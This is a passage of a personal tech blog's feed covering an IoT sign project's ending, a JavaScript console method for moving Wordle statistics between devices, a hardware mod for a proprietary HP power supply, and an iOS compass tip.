and then selling it as a product.</p><p>I prototyped a very useful sign using an ESP32 that I still use to this day.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2023/01/IMG_1325.jpeg" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="985" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/IMG_1325.jpeg 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/IMG_1325.jpeg 1000w, https://blog.kchung.co/content/images/2023/01/IMG_1325.jpeg 1600w" sizes="(min-width: 720px) 720px"><figcaption>The G and R in the top right corner indicate garbage and recycling pickup days. I actually find this to be its most useful feature.&#xA0;</figcaption></figure><p>However, the more I thought about it, the more I felt that I wasn&#x2019;t the right person to bring this to market. My strengths are in software and maybe business, not in electrical engineering or woodworking.</p><p>Not to mention, LED signage is a crowded space with plenty of existing solutions. Not only are there plenty of LED signs on Amazon, but there are also more fancy signs like <a href="https://tidbyt.com/">Tidbyt</a> or <a href="https://www.etsy.com/listing/1290166234/nyc-realtime-subway-clock">this one I found on Etsy</a>.</p><figure class="kg-card kg-image-card"><img src="https://blog.kchung.co/content/images/2023/01/amazon-led.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="1600" height="878" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/amazon-led.png 600w, https://blog.kchung.co/content/images/size/w1000/2023/01/amazon-led.png 1000w, https://blog.kchung.co/content/images/2023/01/amazon-led.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>I&#x2019;ve decided that instead of entering into a crowded space, I will continue working on my ESP32 sign mostly as a personal learning project.</p><figure class="kg-card kg-image-card"><img src="https://blog.kchung.co/content/images/2023/01/squidward-meme.png" class="kg-image" alt="Taking over a Dead IoT Company" loading="lazy" width="974" height="1484" srcset="https://blog.kchung.co/content/images/size/w600/2023/01/squidward-meme.png 600w, https://blog.kchung.co/content/images/2023/01/squidward-meme.png 974w" sizes="(min-width: 720px) 720px"></figure><p>For the community I will <a href="https://github.com/ColdHeat/nycts-unit">open source the underlying sign code for the NYCTrainSign</a> as well as the <a href="https://github.com/ColdHeat/nycts-api">reconstructed API server that includes the exploit code</a>.</p><p>I will also maintain the new NYCTrainSign server so long as the hosting costs are fairly low. I don&#x2019;t intend on adding any new features to the current NYCTrainSign but I do have some ideas for an improved sign firmware. </p><p>So if you have a sign from NYCTrainSign, try out <a href="https://www.trainsignapi.com/">the site that I created to manage the signs remotely</a>. </p><p>If the instructions don&#x2019;t work, <a href="https://github.com/ColdHeat/nycts-api">file an issue</a>. But if you don&#x2019;t have an NYCTrainSign, definitely don&#x2019;t buy one. </p><!--kg-card-begin: html--><small>Thanks to Sharan for putting up with me when I was overly interested in this sign, and thanks to Linda, Kai, and Soly for reviewing and editing this post. </small><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[How to Save Your Wordle Scores]]></title><description><![CDATA[This is a simple guide on copying your Wordle scores between devices. ]]></description><link>https://blog.kchung.co/how-to-save-your-wordle-scores/</link><guid isPermaLink="false">6204031e65f7070001a5c052</guid><category><![CDATA[programming]]></category><category><![CDATA[tech-tips]]></category><category><![CDATA[wordle]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Wed, 09 Feb 2022 19:16:02 GMT</pubDate><content:encoded><![CDATA[<p>For those who aren&apos;t famliar, Wordle is a simple word game where players have 6 attempts to guess a 5 letter word. </p><p>Wordle is written as a simple webpage with no internet connection needed. The game keeps track of your win streaks and scores on the device that you play with however, seperate devices will have seperate statistics. </p><p>This is a simple guide on copying your Wordle scores between devices before The New York Times implements it. </p><h1 id="computer-to-computer">Computer to Computer</h1><p>This will cover copying Wordle statistics from one computer to another.</p><p>This strategy will work for pretty much any computer browser but for now the instructions for this will target Google Chrome only. </p><h2 id="on-the-source-computer">On the source computer</h2><ol><li>Open Devtools by pressing Ctrl + Shift + J (Windows) or Command + Option + J (MacOS). You should be on the Console tab.</li><li>Copy the following code into the console</li></ol><!--kg-card-begin: markdown--><pre><code class="language-javascript">var data = JSON.stringify(localStorage);
window.prompt(&quot;Copy&quot;, `var data = ${data};localStorage.setItem(&apos;gameState&apos;, data.gameState);localStorage.setItem(&apos;statistics&apos;, data.statistics);`);
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><ol start="3">
<li>Press Enter</li>
<li>A popup will appear with some code text. Select all of the text with Ctrl + A (Windows) or Command + A (MacOS)</li>
<li>Share the code text to another computer however you choose. Message it to yourself, share it on Pastebin, carrier pigeon, etc.</li>
</ol>
<!--kg-card-end: markdown--><h2 id="on-the-target-computer">On the target computer</h2><ol><li>Open Devtools by pressing Ctrl + Shift + J (Windows) or Command + Option + J (MacOS). You should be on the Console tab.</li><li>Get the text that you copied earlier</li><li>Paste the text into the Console. Press Enter</li><li>Refresh the page with Ctrl + R (Windows) or Command + R (MacOS)</li></ol><h1 id="android-to-computer">Android to Computer</h1><p>This will cover copying Wordle statistics from your Android phone to your computer. The instructions can also be slightly modified to copy scores from one Android to another. </p><ol><li>Open up Wordle in your phone&apos;s browser</li><li>Copy the following code to your Android phone&apos;s clipboard. </li></ol><pre><code class="language-javascript">javascript:(function(){var data = JSON.stringify(localStorage); window.prompt(&quot;Copy&quot;, `var data = ${data};localStorage.setItem(&apos;gameState&apos;, data.gameState);localStorage.setItem(&apos;statistics&apos;, data.statistics);`)})();</code></pre><!--kg-card-begin: markdown--><ol start="2">
<li>Paste the code into your phone&apos;s address bar.<br>
<em><strong>NOTE</strong></em>: For security reasons, Chrome may automatically remove the <code>javascript:</code> portion in the beginning of the snippet. You will need to add this back to make it work. I promise this code is safe to run.</li>
<li>Press Enter</li>
<li>A popup will appear with some code text.</li>
<li>Select all of the code text and share it to another computer however you choose. Message it to yourself, share it on Pastebin, carrier pigeon, etc.</li>
<li>Refer to the Computer to Computer instructions on how to load the code. If you want to load your stats into another Android phone, the above bookmarket can be modified to load the code in.</li>
</ol>
<!--kg-card-end: markdown--><h1 id="iphone-to-computer">iPhone to Computer</h1><p>This will cover copying Wordle statistics from your iPhone to your computer. The instructions can also be slightly modified to copy scores from one iPhone to another. </p><p>It&apos;s not as simple to run Javascript on the iOS Safari browser so we need to use the Shortcuts app as a workaround. </p><ol><li>Open the Shortcuts app</li><li>Click the + icon on the top right</li><li>Click &quot;Add Action&quot;</li><li>Search for &quot;Javascript&quot; and click on &quot;Run JavaScript on Web Page&quot;</li><li>Change &quot;Web Page&quot; to &quot;Shortcut Input&quot;</li><li>Remove all of the pre-made code and put in the following:</li></ol><pre><code class="language-javascript">var data = JSON.stringify(localStorage);
window.prompt(&quot;Copy&quot;, `var data = ${data};localStorage.setItem(&apos;gameState&apos;, data.gameState);localStorage.setItem(&apos;statistics&apos;, data.statistics);`);
completion(true);</code></pre><!--kg-card-begin: markdown--><ol start="7">
<li>Click on the triple dot menu on the top right</li>
<li>Give the Shortcut any name you choose. For our purposes we&apos;ll call it &quot;Wordle Export&quot;.</li>
<li>Turn on the &quot;Show in Share Sheet&quot; switch</li>
<li>Click Done</li>
<li>Open Wordle in Safari</li>
<li>Click on the Share menu arrow and scroll all the way down.</li>
<li>Click &quot;Wordle Export&quot;</li>
<li>Click &quot;Allow&quot; when access is requested</li>
<li>Ignore any JavaScript Timeout errors that appear. Close the share menu.</li>
<li>A popup will appear with some code text. Select all of the text and copy it.</li>
<li>Share the code text to another computer however you choose. Message it to yourself, share it on Pastebin, carrier pigeon, etc.</li>
<li>Refer to the Computer to Computer instructions on how to load the code. If you want to load your stats into another iPhone, re-do these instructions but paste in your saved code into the Shortcut instead and add in <code>completion(true);</code> at the end.</li>
</ol>
<!--kg-card-end: markdown--><p></p>]]></content:encoded></item><item><title><![CDATA[Pimp My Walmart PC]]></title><description><![CDATA[<p><em><strong>TL;DR</strong> Reverse engineering HP&apos;s proprietary PSU so that we can make a cheap gaming PC with parts from Walmart and an old GPU</em></p><p>I&apos;m no environmentalist but I don&apos;t really throw away working computer parts. I use them until they break beyond any</p>]]></description><link>https://blog.kchung.co/pimp-my-walmart-pc/</link><guid isPermaLink="false">60f8a4237d3b1f0001c05727</guid><category><![CDATA[hardware]]></category><category><![CDATA[electronics]]></category><category><![CDATA[tech-tips]]></category><category><![CDATA[computers]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Fri, 30 Jul 2021 14:15:10 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2021/07/full-pc-4.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.kchung.co/content/images/2021/07/full-pc-4.jpg" alt="Pimp My Walmart PC"><p><em><strong>TL;DR</strong> Reverse engineering HP&apos;s proprietary PSU so that we can make a cheap gaming PC with parts from Walmart and an old GPU</em></p><p>I&apos;m no environmentalist but I don&apos;t really throw away working computer parts. I use them until they break beyond any sense of repairability. You can call me... thrifty... or a hoarder... or maybe just old man. </p><p>However back in 2019, I did need to upgrade my GPU to play Call of Duty Modern Warfare 2019. I was going to play the game regardless and my <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/geforce-gtx-760/specifications/">GTX 760</a> had no chance of playing MW2019. So I bought an RTX 2060. </p><p>Thus, my poor 760 was stashed away in some dark corner while I suffered through Warzone. </p><h2 id="selecting-the-pc">Selecting the PC</h2><p>Fast forward to 2021. </p><ul><li>I owe my girlfriend a gaming PC</li><li>GPU prices are through the roof (my $350 RTX 2060 is now worth $600)</li><li>Still have a GTX 760. Not an amazing GPU but perfectly serviceable. </li></ul><p>Ignoring the GPU, it would cost about $500 to purchase new parts to build a reasonable PC. </p><p>Buying used components might have been the cheapest option but it seemed like a bad idea to build against very outdated hardware. Most of the parts I already have are for older components and buying old PC parts on eBay is expensive anyway. </p><p>As a rule of thumb, outside of the high end, prebuilt PCs tend to be better value than a custom built PC. Manufacturers can buy in bulk and get better deals so I started looking for prebuilt PCs that I could add some of my parts to. </p><p>Originally I wanted to just buy this refurbished <a href="https://www.walmart.com/ip/Refurbished-HP-Pavilion-Gaming-R5-1650-Super-8GB-256GB-Gaming-Desktop-Tower/828808485">Walmart PC</a>. However, I&apos;ve never seen it in stock. Likely because it&apos;s a really good deal and <a href="https://old.reddit.com/r/buildapcsales/">r/buildapcsales</a> is faster than I am. Walmart&apos;s in-stock alerts don&apos;t seem to be very reliable either.</p><p>After looking around Walmart I ended up purchasing <a href="https://www.walmart.com/ip/Refurbished-HP-Desktop-Tower-R3-8GB-1TB-AMD-Ryzen-3-3200G-Processor-8-GB-DDR4-2666-SDRAM-memory-1-x-GB-1-TB-7200RPM-SATA-hard-drive-Radeon-V/121971040">this</a>:</p><figure class="kg-card kg-image-card"><img src="https://blog.kchung.co/content/images/2021/07/image.png" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1390" height="704" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/image.png 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/image.png 1000w, https://blog.kchung.co/content/images/2021/07/image.png 1390w" sizes="(min-width: 720px) 720px"></figure><p>I spent maybe a few hours researching different PCs and this PC stood out for a couple of reasons:</p><ul><li>It was sold &amp; refurbished by Walmart, not a random third party refurbisher </li><li><a href="https://imgur.com/a/0JsduQg">A review mentioned that they added parts to it but were using multiple PSUs</a></li><li>My GPU would likely fit based on the measurements I could find</li><li>The <a href="https://support.hp.com/hk-en/document/c06418906">motherboard</a> had upgrade options if we wanted them. I could upgrade the RAM to 32 GB, upgrade the CPU to a better AMD CPU, it had a PCIe slot for my GPU, and an M2 slot for an SSD. </li></ul><p>There were a few downsides though:</p><ul><li>Some of my initial research showed that HP <a href="https://h30434.www3.hp.com/t5/Desktop-Hardware-and-Upgrade-Questions/looking-to-upgrade-pcu/m-p/7787193/highlight/true#M195800">liked to use proprietary PSUs in their non-gaming PCs</a>. This was likely one of the reasons the review mentioned having to use two PSUs. </li><li>The motherboard chipset is AMD B550A. <a href="https://www.amd.com/en/chipsets/b550">The B550 shouldn&apos;t work with the provided CPU</a> but I later learned that <a href="https://www.gamersnexus.net/guides/3582-amd-chipset-differences-b550-vs-x570-b450-x470-zen-3">B550A is actually B450 but rebranded</a> to make it seem newer. &#xA0;</li></ul><p>I decided that in the end, I could always just run two PSUs if I couldn&apos;t find a way to use a single one. There seemed to be a few PSU adapters anyway... </p><h2 id="proprietary-parts">Proprietary Parts</h2><p>Walmart shipped really quickly and I had the PC within two days. Who needs Amazon Prime anyway! </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/image-12.png" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1000" height="1000" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/image-12.png 600w, https://blog.kchung.co/content/images/2021/07/image-12.png 1000w" sizes="(min-width: 720px) 720px"><figcaption>Stock photo but pretty much exactly what I got minus the SSD in the center. Instead an HDD was mounted across from the PSU behind the grille</figcaption></figure><p>However, after opening the PC up I found that the PSU and motherboard were proprietary (Model #: L08261-002). Even worse, the PSU only provided 180W and I needed at least 500W to drive my GPU. The PSU also had a non standard, 7-pin connection to the motherboard. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/pwrcmd.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="2000" height="1490" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/pwrcmd.jpg 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/pwrcmd.jpg 1000w, https://blog.kchung.co/content/images/size/w1600/2021/07/pwrcmd.jpg 1600w, https://blog.kchung.co/content/images/size/w2400/2021/07/pwrcmd.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption>Didn&apos;t even use all 7 pins. Jank.</figcaption></figure><p>Based on <a href="https://linustechtips.com/topic/1287921-converting-hp-pre-built-into-decent-gaming-pc-psumobo-mod/">other people&apos;s struggles</a>, it seemed like the HP PSU in theory could be replaced with a regular PSU. The other PSU cables seemed like standard 12V rails:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/s-l1600.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="800" height="600" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/s-l1600.jpg 600w, https://blog.kchung.co/content/images/2021/07/s-l1600.jpg 800w" sizes="(min-width: 720px) 720px"><figcaption>Much fewer cables than a regular PSU</figcaption></figure><p>However it seemed like no one had made an adapter for this particular PSU and some commentary about non-standard standby voltage scared me a bit. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/image-1.png" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1048" height="363" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/image-1.png 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/image-1.png 1000w, https://blog.kchung.co/content/images/2021/07/image-1.png 1048w" sizes="(min-width: 720px) 720px"><figcaption>This totally won&apos;t be a problem later</figcaption></figure><p>At this point I could either:</p><ol><li>Use the proprietary PSU and attach a regular PSU to the GPU</li><li>Reverse engineer the proprietary PSU and try to emulate it</li></ol><p>I spent a few hours verifying that I could actually do the first before I decided trying to do the latter. </p><h2 id="pretending-to-be-an-electrical-engineer">Pretending to be an Electrical Engineer</h2><p>I learned a lot about computer power supplies while working through this. Here are some of the important takeaways:</p><ol><li>PSU wire color coding is actually fairly standardized. You can more or less guess the functionality of a PSU&apos;s wiring based on its color. </li><li>Computer PSUs aren&apos;t always supplying power. They activate once you push your PC&apos;s power button. This connects a 5v line on the PSU which signals it to turn on. This goes from <a href="https://en.wikipedia.org/wiki/PS-ON_Signal">PS_ON</a> (5v, green wire, a.k.a. Power On) to ground (black wire).</li><li>After powering on, the PSU reports a signal to the motherboard that everything is okay. This is called <a href="https://en.wikipedia.org/wiki/Power_good_signal">PWR_OK</a> (or Power Good) and is typically a gray wire on the PSU. </li><li>Standard PSUs are always providing about 5V of power to the motherboard so simple components can run. Things like the on/off switch, maybe a USB port to charge. </li><li>You can <a href="https://www.silverstonetek.com/downloads/QA/PSU/PSU-Paper%20Clip-EN.pdf">connect a paperclip to PS_ON and ground</a>, to fool a power supply into thinking that it should turn on letting you test it with a multimeter.</li></ol><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/image-9.png" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="458" height="414"><figcaption>We only need to care about PS_ON, COM, and PWR_OK</figcaption></figure><p>With that knowledge in mind, let&apos;s fast forward a few hours of trying not to electrocute myself. Using a multimeter and the paperclip trick, I learned a few things about the proprietary HP PSU. </p><ol><li>When on, the HP PSU delivers 12.26V to each of the 2x2 rails on the motherboard. This is within the <a href="https://www.evga.com/support/faq/FAQdetails.aspx?faqid=59665">acceptable ranges for the ATX standard</a> (+11.40V to +12.60 V).</li><li>The PSU&apos;s 6 pin connector is actually just a clever reimagining of the aforementioned green, black, and gray cables. You can literally see into the PSU and see what they labeled each wire for. The colors are even standard! </li></ol><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/psu-wiring.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="2000" height="1387" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/psu-wiring.jpg 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/psu-wiring.jpg 1000w, https://blog.kchung.co/content/images/size/w1600/2021/07/psu-wiring.jpg 1600w, https://blog.kchung.co/content/images/size/w2400/2021/07/psu-wiring.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption>Thanks for the wiring help HP!</figcaption></figure><p>However the earlier comments about non-standard standby voltage bothered me, so I checked it...</p><p><em>The HP PSU was delivering 12.26V of standby voltage! </em></p><p>Normally, an ATX PSU only provides 5V of standby voltage, but HP decided they wanted to get tricky. </p><h2 id="its-my-power-and-i-need-it-now">It&apos;s my power and I need it now!</h2><p>Anticipating that I would need to use two PSUs, I ordered a PSU that would have enough wattage to drive everything. It provided 12.05V along the 12v rails when turned on and provided 5V standby voltage. Obviously, this won&apos;t work directly. </p><p>So how do we get 12V standby voltage to emulate the HP PSU? It took a while for me to be sure to make some PSU customizations but it&apos;s actually quite simple. </p><p>First we shove a jumper wire between PS_ON and ground to trick the PSU into an always on state. Then wire up the grey wire on the PSU to the grey wire pin on the motherboard to get PWR_OK working. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/24-pin-mods-1.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1000" height="470" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/24-pin-mods-1.jpg 600w, https://blog.kchung.co/content/images/2021/07/24-pin-mods-1.jpg 1000w" sizes="(min-width: 720px) 720px"><figcaption>The reddish wire is from PS_ON to ground and blue is going from PWR_OK to the motherboard</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/powercmd-wire.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="800" height="412" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/powercmd-wire.jpg 600w, https://blog.kchung.co/content/images/2021/07/powercmd-wire.jpg 800w" sizes="(min-width: 720px) 720px"><figcaption>The blue wire from above should go to this 3rd pin that corresponds to the gray wire</figcaption></figure><p>The PSU now provides 12V constantly and will work properly with the PC&apos;s power on button. </p><p>In my case, the PSU also had an &quot;eco mode&quot; where the fan would not engage unless there was a certain level of power draw. This meant that the resting wattage usage should be near zero and pretty close to the original PSU. </p><p>After hooking everything up... the PC boots with just one PSU!</p><blockquote>The astute will notice that the HP PSU provides 12.26V and the new PSU provides 12.05V. <br><br>I benchmarked the PC for awhile and did not notice any kind of shutdown or failures but I am keeping this in mind if any issues crop up. <br><br>Technically the HP PSU states that it outputs 12.1V and I suspect the differing voltage values are within acceptable ranges for the components. </blockquote><h2 id="style-points">Style Points</h2><p>Unfortunately, because the HP case is very small, it&apos;s very difficult to put additional hardware inside. It&apos;s likely that the case and PSU were specifically made smaller to make the hardware more proprietary. </p><p>However, HP did design the case with some ideas around them making modifications or customizations: </p><ul><li>There are PCI slots and an M.2 slot for you to put in some additional hardware</li><li>There are additional screwholes for additional hard drives</li><li>There are screwholes for ATX PSUs but there are bumps and guards preventing using a regular PSU. If you were to cut out those pieces, you could likely fit in a regular PSU. </li></ul><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/psu-through.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1000" height="750" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/psu-through.jpg 600w, https://blog.kchung.co/content/images/2021/07/psu-through.jpg 1000w" sizes="(min-width: 720px) 720px"><figcaption>The red is the HP PSU and the green is where I believe a regular PSU could fit</figcaption></figure><p>Since the motherboard has a slot for an M2 SSD so I bought a cheap one from MicroCenter. Much faster than the original 7200 RM HDD but we can keep that around for storing those fat video games. </p><p>I screwed in the old HDD in an area by the CD drive that seemed at least partially like it was designed to hold an HDD. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/hdd-slot.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="800" height="763" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/hdd-slot.jpg 600w, https://blog.kchung.co/content/images/2021/07/hdd-slot.jpg 800w" sizes="(min-width: 720px) 720px"><figcaption>I&apos;m not sure if this was intended for HDDs but it fits almost perfectly. I put in a piece of paper underneath for some shock absorption.&#xA0;</figcaption></figure><p>The real issue is that the case has been customized for a miniaturized PSU. </p><p>It&apos;s not possible to put in an ATX PSU without cutting out parts of the case. Even though I have some ideas about cutting out the space it seems like a bad idea because of the lack of airflow in the small case. Unless we were to also cut out some holes for additional fans, blocking airflow with the PSU would probably be a bad idea.</p><p>For now, the PSU can just hang out on the side. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/pc-pcu-full.jpg" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1500" height="1398" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/pc-pcu-full.jpg 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/pc-pcu-full.jpg 1000w, https://blog.kchung.co/content/images/2021/07/pc-pcu-full.jpg 1500w" sizes="(min-width: 720px) 720px"><figcaption>A little weird maybe but it works!</figcaption></figure><h2 id="benchmarks">Benchmarks</h2><p>The performance of the PC in practice was quite good. Before installing the SSD, it did tend to slow down while doing things but afterwards, it was like greased lightning. </p><p>Here are the benchmarks provided by UserBenchmark:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/image-13.png" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1440" height="670" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/image-13.png 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/image-13.png 1000w, https://blog.kchung.co/content/images/2021/07/image-13.png 1440w" sizes="(min-width: 1200px) 1200px"><figcaption>Benchmarks with the customizations</figcaption></figure><p>I think I&apos;m a little annoyed by the &quot;Raft&quot; characterization but in practice the PC runs games fine. The main game used for testing (World of Warcraft) ran between 80-100 FPS (topped out at 250 FPS) at the recommended graphics settings.</p><p>Compared to the standard build, there&apos;s about a 10% improvement in the percentages.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://blog.kchung.co/content/images/2021/07/image-14.png" class="kg-image" alt="Pimp My Walmart PC" loading="lazy" width="1443" height="643" srcset="https://blog.kchung.co/content/images/size/w600/2021/07/image-14.png 600w, https://blog.kchung.co/content/images/size/w1000/2021/07/image-14.png 1000w, https://blog.kchung.co/content/images/2021/07/image-14.png 1443w" sizes="(min-width: 1200px) 1200px"><figcaption>Benchmarks for the standard model</figcaption></figure><p>In general, benchmarks are mostly just a rough estimate but I&apos;m including them here because I think there&apos;s some value in it. </p><p>With regards to games, the goal was never to run the latest games with the highest graphics settings but so far it&apos;s been very good for the games that we wanted to play.</p><h2 id="total-costs">Total Costs</h2><p>The following are all the things that I purchased for this project and the cost for me &#xA0;at the time before tax.</p><ul><li>Walmart PC - $269 (<a href="https://www.walmart.com/ip/Refurbished-HP-Desktop-Tower-R3-8GB-1TB-AMD-Ryzen-3-3200G-Processor-8-GB-DDR4-2666-SDRAM-memory-1-x-GB-1-TB-7200RPM-SATA-hard-drive-Radeon-V/121971040">Walmart</a>)</li><li>GTX 760 - N/A</li><li>EVGA PSU - $44.99 (<a href="https://amzn.to/3zxwKpx">Amazon</a>) (<a href="https://computers.woot.com/offers/evga-650-b5-80-plus-bronze-650w-psu?ref=w_cnt_wp_0_2">Woot!</a>)</li><li>M2 SSD - 34.99 (<a href="https://amzn.to/3x3FVfU">Amazon</a>) (<a href="https://www.microcenter.com/product/628055/256GB_SSD_3D_TLC_NAND_PCIe_Gen_3_x4_NVMe_M2_Internal_Solid_State_Drive">MicroCenter</a>)</li><li>Jumper Wires - $4.99 (<a href="https://amzn.to/3iGylT8">Amazon</a>) (<a href="https://www.microcenter.com/product/613879/Dupont_Jumper_Wire_20cm_-_3_Pack">MicroCenter</a>)</li><li>ATX 4 Pin Extension Cable - $3.99 (<a href="https://amzn.to/3eV8TZ0">Amazon</a>) (<a href="https://www.microcenter.com/product/618634/4-Pin_ATX_12V_Male_to_4-Pin_ATX_12V_Female_CPU_Power_Extension_Cable_8_in">MicroCenter</a>)</li></ul><p>Total: $357.96</p><p>I will probably be selling the proprietary HP PSU to recoup a little more of these costs as well. That should knock maybe $30-$40 off of the total cost. All said and done I think it&apos;s safe to consider the final cost here to be about $320. </p><h2 id="conclusion">Conclusion</h2><p>We were able to combine some mediocre, used/refurbished PC parts into a pretty good gaming PC in a cost efficient way. It might be a little funky with the PSU hanging out on the side but it doesn&apos;t look like a disaster. We could theoretically even do some work to get it in the case.</p><p>I think maybe the most interesting question to wonder is whether or not the <a href="https://www.walmart.com/ip/Refurbished-HP-Pavilion-Gaming-R5-1650-Super-8GB-256GB-Gaming-Desktop-Tower/828808485">first choice PC</a> was a better value. It has a slightly better CPU, &#xA0;built in SSD, and a better GPU for $389.00. </p><p>We&apos;ve got a better PSU, extra hard drive space and I think there&apos;s a bit more upgradeability because it seems easier to customize the PSU. </p><p>Unfortunately though, I&apos;d definitely say that the prebuilt is a better value. </p><p>Right now the GPU (1650 SUPER) is valuable enough to cover the entire cost of the PC. They&apos;re currently going on eBay for about $300. It&apos;s honestly a great deal and deserves it&apos;s title as <strong><em>THE</em></strong> Walmart Gaming PC. But good luck finding a refurbished one in stock and buying it new is around $750.</p><p>Overall, sure we couldn&apos;t beat the king of value, but this was absolutely a good deal. </p><p>If you&apos;ve got some extra computer parts, take a look at buying a pre-built PC and adding your parts into that. It can be more cost effective than buying more parts. There&apos;s some work involved sure, but you can get very good value for not a lot of cost. </p><!--kg-card-begin: html--><!-- Comment Block Prototype -->
<div id="remark42"></div>
<!-- Comment Block Prototype --><!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Recalibrate the iOS Compass]]></title><description><![CDATA[<p>Have you ever opened Google Maps or even Apple Maps on your iPhone and found that the compass was pointing the wrong direction? You&apos;re looking one way up the block but the compass says you&apos;re pointing the opposite direction? </p><p>Supposedly Apple put in a co-processor to</p>]]></description><link>https://blog.kchung.co/recalibrate-the-ios-compass/</link><guid isPermaLink="false">60e3de1ae0f13f0001856199</guid><category><![CDATA[ios]]></category><category><![CDATA[tech-tips]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Wed, 21 Jul 2021 22:44:44 GMT</pubDate><content:encoded><![CDATA[<p>Have you ever opened Google Maps or even Apple Maps on your iPhone and found that the compass was pointing the wrong direction? You&apos;re looking one way up the block but the compass says you&apos;re pointing the opposite direction? </p><p>Supposedly Apple put in a co-processor to keep the compass calibrated but my compass seems to always be wrong anyway. To fix this you need to recalibrate the compass. </p><p>There isn&apos;t a direct button or toggle for this so here&apos;s how to force iOS to recalibrate the compass: </p><ol><li>Open Settings</li><li>Select &quot;Privacy&quot;</li><li>Select &quot;Location Services&quot;</li><li>Scroll all the way down and select &quot;System Services&quot;</li><li>Turn &quot;Compass Calibration&quot; off</li><li>Lock your iPhone screen / turn off the screen</li><li>Wake the screen up</li><li>Re-enable &quot;Compass Calibration&quot;</li><li>Go back to the app that is using the compass</li></ol><p>May you never walk the wrong direction again! &#x1F9ED;</p>]]></content:encoded></item><item><title><![CDATA[Faster Python with Go shared objects (the easy way)]]></title><description><![CDATA[<p>There&apos;s no two ways about it, Python is slow. </p><p>I felt this in particular when exploring how to sanitize potentially malicious HTML content in the <a href="https://ctfd.io/">CTFd</a> content editor.</p><p>The two options for sanitizing/processing HTML in Python both have some tradeoffs:</p><ol><li>Poorly but quickly parse HTML with the</li></ol>]]></description><link>https://blog.kchung.co/faster-python-with-go-shared-objects/</link><guid isPermaLink="false">6068d2afab58a50001827fd2</guid><category><![CDATA[python]]></category><category><![CDATA[golang]]></category><category><![CDATA[open source]]></category><category><![CDATA[programming]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Tue, 13 Apr 2021 17:02:00 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2021/04/faster-python-banner.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.kchung.co/content/images/2021/04/faster-python-banner.png" alt="Faster Python with Go shared objects (the easy way)"><p>There&apos;s no two ways about it, Python is slow. </p><p>I felt this in particular when exploring how to sanitize potentially malicious HTML content in the <a href="https://ctfd.io/">CTFd</a> content editor.</p><p>The two options for sanitizing/processing HTML in Python both have some tradeoffs:</p><ol><li>Poorly but quickly parse HTML with the available HTML4 parsers 